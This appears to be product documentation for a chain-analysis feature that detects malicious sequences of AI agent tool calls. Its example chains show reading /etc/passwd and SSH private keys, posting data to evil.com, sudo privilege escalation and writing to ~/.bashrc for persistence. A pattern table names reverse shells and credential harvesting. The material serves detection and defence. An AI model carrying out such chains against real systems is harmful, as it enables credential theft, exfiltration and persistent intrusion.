Chain Analysis
Detect multi-tool attack patterns where individual calls appear safe but sequences indicate malicious intent.
Chain Analysis
Chain analysis detects attack patterns that span multiple tool calls. While individual tool calls may appear safe, certain sequences of calls can indicate reconnaissance, data exfiltration, or privilege escalation attacks.
Overview
Many attacks follow predictable patterns:
- Reconnaissance - Gather information about the system
- Access - Read sensitive files or data
- Exfiltration - Send data to external systems
Chain analysis tracks tool call sequences per session and detects when these patterns emerge.
Attack Chain Patterns
Data Exfiltration Chain
Pattern: Read sensitive data → Send to external endpoint
Tool 1: read_file("/etc/passwd") → Allowed
Tool 2: read_file("~/.ssh/id_rsa") → Allowed
Tool 3: http_post("https://evil.com/...") → BLOCKED: Exfiltration chain detectedDetection: File reads followed by network requests with suspicious data patterns.
Reconnaissance Chain
Pattern: List resources → Read configurations → Access credentials
Tool 1: list_files("/home/user") → Allowed
Tool 2: read_file(".env") → Allowed
Tool 3: read_file("config/database.yml") → BLOCKED: Recon chain detectedDetection: Progressive information gathering targeting sensitive locations.
Privilege Escalation Chain
Pattern: Check permissions → Modify permissions → Execute with privileges
Tool 1: execute_shell("whoami") → Allowed
Tool 2: execute_shell("sudo -l") → Allowed
Tool 3: execute_shell("sudo su") → BLOCKED: Privilege escalation chainDetection: Sequential privilege probing followed by escalation attempts.
Persistence Chain
Pattern: Create file → Make executable → Add to startup
Tool 1: write_file("/tmp/script.sh", ...) → Allowed
Tool 2: execute_shell("chmod +x /tmp/...") → Allowed
Tool 3: write_file("~/.bashrc", ...) → BLOCKED: Persistence chain detectedDetection: File creation followed by execution setup and persistence mechanisms.
How Chain Analysis Works
Session Tracking
Bastio tracks the last N tool calls per session:
{
"session_id": "session_abc123",
"tool_sequence": [
{ "name": "read_file", "args": {"path": "/etc/hosts"}, "time": "..." },
{ "name": "read_file", "args": {"path": "~/.ssh/config"}, "time": "..." },
{ "name": "http_get", "args": {"url": "..."}, "time": "..." }
]
}Pattern Matching
Each new tool call is analyzed against known attack patterns:
┌─────────────────────────────────────┐
│ New Tool Call: http_post │
└─────────────────────────────────────┘
│
▼
┌─────────────────────────────────────┐
│ Check: Exfiltration Pattern │
│ Recent reads: [/etc/hosts, .ssh] │
│ Current: network send │
│ Result: PATTERN MATCH │
└─────────────────────────────────────┘
│
▼
┌─────────────────────────────────────┐
│ Response: Block + Alert │
│ Chain: exfiltration_detected │
│ Risk Score: 0.95 │
└─────────────────────────────────────┘Risk Score Impact
Chain detection significantly increases risk scores:
| Factor | Risk Impact |
|---|---|
| Single tool threat | +0.1 to +0.3 |
| Two-step suspicious sequence | +0.3 to +0.5 |
| Known attack chain match | +0.5 to +0.8 |
| Multiple chain patterns | +0.7 to +0.95 |
API Response
When a chain is detected:
{
"action": "block",
"tool_call_id": "call_xyz",
"risk_score": 0.92,
"threats_detected": ["chain_analysis"],
"chain_details": {
"pattern": "data_exfiltration",
"confidence": 0.95,
"sequence": [
{ "tool": "read_file", "index": -2 },
{ "tool": "read_file", "index": -1 },
{ "tool": "http_post", "index": 0 }
],
"description": "Sensitive file reads followed by external data transmission"
},
"message": "Blocked: Data exfiltration chain detected"
}Built-in Chain Patterns
Bastio includes 15+ built-in chain patterns:
| Pattern ID | Description | Sequence |
|---|---|---|
exfiltration_file_network | File read → Network send | read_file → http_post |
recon_progressive | List → Read → Access | list_files → read_file × N |
privilege_escalation_unix | Check → Escalate | whoami → sudo |
persistence_cron | Write → Cron | write_file → execute(crontab) |
persistence_startup | Write → Startup file | write_file → .bashrc/.profile |
credential_harvest | Multiple credential files | read_file(.env, .config, keys) |
database_dump | Connect → Query all → Export | db_connect → SELECT * → file |
reverse_shell | Download → Execute → Connect | http_get → execute → network |
Configuration
Enable/Disable Chain Analysis
Via API:
curl -X PUT https://api.bastio.com/v1/guard/{proxyId}/settings \
-H "Authorization: Bearer YOUR_API_KEY" \
-H "Content-Type: application/json" \
-d '{
"chain_analysis_enabled": true,
"chain_window_size": 10,
"chain_window_minutes": 30
}'Settings
| Setting | Default | Description |
|---|---|---|
chain_analysis_enabled | true | Enable chain analysis |
chain_window_size | 10 | Number of recent calls to analyze |
chain_window_minutes | 30 | Time window for chain detection |
chain_sensitivity | medium | low, medium, high |
Sensitivity Levels
| Level | Behavior |
|---|---|
low | Only detect high-confidence attack chains |
medium | Balance between detection and false positives |
high | Aggressive detection, may have more false positives |
Custom Chain Patterns
Define custom patterns for your application:
curl -X POST https://api.bastio.com/v1/guard/{proxyId}/chain-patterns \
-H "Authorization: Bearer YOUR_API_KEY" \
-H "Content-Type: application/json" \
-d '{
"name": "Customer Data Export",
"description": "Detects bulk customer data access followed by export",
"sequence": [
{ "tool_pattern": "db_query", "argument_pattern": "customers" },
{ "tool_pattern": "db_query", "argument_pattern": "SELECT *" },
{ "tool_pattern": "*_export" }
],
"action": "require_approval",
"confidence_threshold": 0.8
}'Pattern Definition
| Field | Description |
|---|---|
name | Human-readable pattern name |
sequence | Array of tool matchers in order |
tool_pattern | Glob pattern for tool name |
argument_pattern | Regex pattern for arguments |
min_interval_seconds | Minimum time between steps |
max_interval_seconds | Maximum time between steps |
action | Action when pattern matches |
confidence_threshold | Minimum confidence to trigger |
Code Examples
Handling Chain Blocks
async def validate_tool_with_chain_context(
proxy_id: str,
session_id: str,
tool_call: dict
) -> dict:
"""Validate tool call with chain analysis context."""
result = await validate_tool_call(proxy_id, tool_call, session_id)
if result.get("chain_details"):
chain = result["chain_details"]
logger.warning(
"Chain pattern detected",
pattern=chain["pattern"],
confidence=chain["confidence"],
sequence=[s["tool"] for s in chain["sequence"]]
)
# Report to security team
await notify_security_team({
"type": "chain_detected",
"session_id": session_id,
"pattern": chain["pattern"],
"tool_call": tool_call
})
return resultasync function validateWithChainContext(
proxyId: string,
sessionId: string,
toolCall: object
): Promise<ValidationResult> {
const result = await validateToolCall(proxyId, toolCall, sessionId);
if (result.chain_details) {
console.warn('Chain pattern detected:', {
pattern: result.chain_details.pattern,
confidence: result.chain_details.confidence,
sequence: result.chain_details.sequence.map(s => s.tool),
});
// Alert security team
await alertSecurityTeam({
type: 'chain_detected',
sessionId,
pattern: result.chain_details.pattern,
});
}
return result;
}Breaking Suspicious Chains
Reset session context if a chain is partially detected:
async def safe_tool_execution(session_id, tool_call):
result = await validate_tool_call(proxy_id, tool_call, session_id)
# If we're starting to look suspicious, warn the agent
if result.get("chain_warning"):
return {
"action": "warn",
"message": "Recent operations are forming a suspicious pattern. "
"Please explain your intent or try a different approach."
}
return resultViewing Chain Events
Query chain analysis events:
curl https://api.bastio.com/v1/guard/{proxyId}/chain-events \
-H "Authorization: Bearer YOUR_API_KEY" \
-G \
-d "start_time=2024-01-01T00:00:00Z" \
-d "end_time=2024-01-31T23:59:59Z"{
"events": [
{
"event_id": "chain_001",
"timestamp": "2024-01-15T10:30:00Z",
"session_id": "session_abc",
"pattern": "data_exfiltration",
"confidence": 0.92,
"action_taken": "block",
"sequence": [...]
}
]
}Best Practices
Next Steps
- Anomaly Detection - Behavioral baseline analysis
- Policies - Configure chain detection actions
- Tool Validation - Single call threat detection